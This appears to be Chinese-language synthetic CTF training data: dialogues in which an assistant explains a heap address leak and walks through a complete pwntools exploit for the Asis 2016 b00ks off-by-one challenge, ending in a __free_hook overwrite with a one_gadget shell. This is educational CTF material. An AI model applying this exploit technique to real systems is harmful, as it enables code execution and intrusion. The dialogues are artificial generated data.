	3.这样就能跳到libc中任意地址（libc_func+offset）。

	4.我们可以利用libc中任意gadget。

##2. 32位dl_resolve


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「2. 泄露地址」。
资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 2. 泄露地址
- 利用唯一一次show，泄露某个chunk的`tag`（即 `chunk + 0x8`），其中包含堆地址的低12位和高8位。
- 由于`malloc`返回地址的低12位固定（对齐），可结合已知偏移推算出**堆基址**。
- 但由于没有libc泄露，需要通过后续操作**暴力爆破**或利用`__free_hook`附近的已知偏移（如`__free_hook`相对`libc`的偏移已知，只需爆破低12位）。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/off-by-one/Asis_2016_b00ks/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/off-by-one/Asis_2016_b00ks/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `changename`
- `createbook`
- `createname`
- `deletebook`
- `editbook`
- `printbook`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0xffff`, `0x21000`, `0x4f365`, `0x4f3c2`, `0x10a45c`, `0x5b7010`

训练用代码片段：
```python
from pwn import *
context.log_level = "info"

binary = ELF("b00ks")
libc = ELF("/buu/64/libc-2.23.so")
hollk = process("./b00ks")

def createbook(name_size, name, des_size, des):
        hollk.readuntil("> ")
        hollk.sendline("1")
        hollk.readuntil(": ")
        hollk.sendline(str(name_size))
        hollk.readuntil(": ")
        hollk.sendline(name)
        hollk.readuntil(": ")
        hollk.sendline(str(des_size))
        hollk.readuntil(": ")
        hollk.sendline(des)

def printbook(id):
        hollk.readuntil("> ")
        hollk.sendline("4")
        hollk.readuntil(": ")
        for i in range(id):
                book_id = int(hollk.readline()[:-1])
                hollk.readuntil(": ")
                book_name = hollk.readline()[:-1]
                hollk.readuntil(": ")
                book_des = hollk.readline()[:-1]
                hollk.readuntil(": ")
                book_author = hollk.readline()[:-1]
        return book_id, book_name, book_des, book_author

def createname(name):
        hollk.readuntil("name: ")
        hollk.sendline(name)

def changename(name):
        hollk.readuntil("> ")
        hollk.sendline("5")
        hollk.readuntil(": ")
        hollk.sendline(name)

def editbook(book_id,new_des):
        hollk.readuntil("> ")
        hollk.sendline("3")
        hollk.readuntil(": ")
        hollk.writeline(str(book_id))
        hollk.readuntil(": ")
        hollk.sendline(new_des)

def deletebook(book_id):
        hollk.readuntil("> ")
        hollk.sendline("2")
        hollk.readuntil(": ")
        hollk.sendline(str(book_id))

createname("hollkaaabbbbbbbbccccccccdddddddd")
createbook(128, "hollk_boo1", 32, "hollk_desc1")
createbook(0x21000, "hollk_boo2", 0x21000, "hollk_desc2")

book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_address:" + hex(book1_addr))

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0xffff)
editbook(book_id_1,payload)
changename("hollkaaabbbbbbbbccccccccdddddddd")

book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,b"\x00"))
book2_des_addr = u64(book_des.ljust(8,b"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
libc_base = book2_des_addr - 0x5b7010
log.success("libc base:" + hex(libc_base))

free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base+0x4f3c2 #0x4f365、0x4f3c2、0x10a45c
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))
editbook(1, p64(free_hook))
editbook(2, p64(one_gadget))
#gdb.attach(hollk)
deletebook(2)
hollk.interactive()
```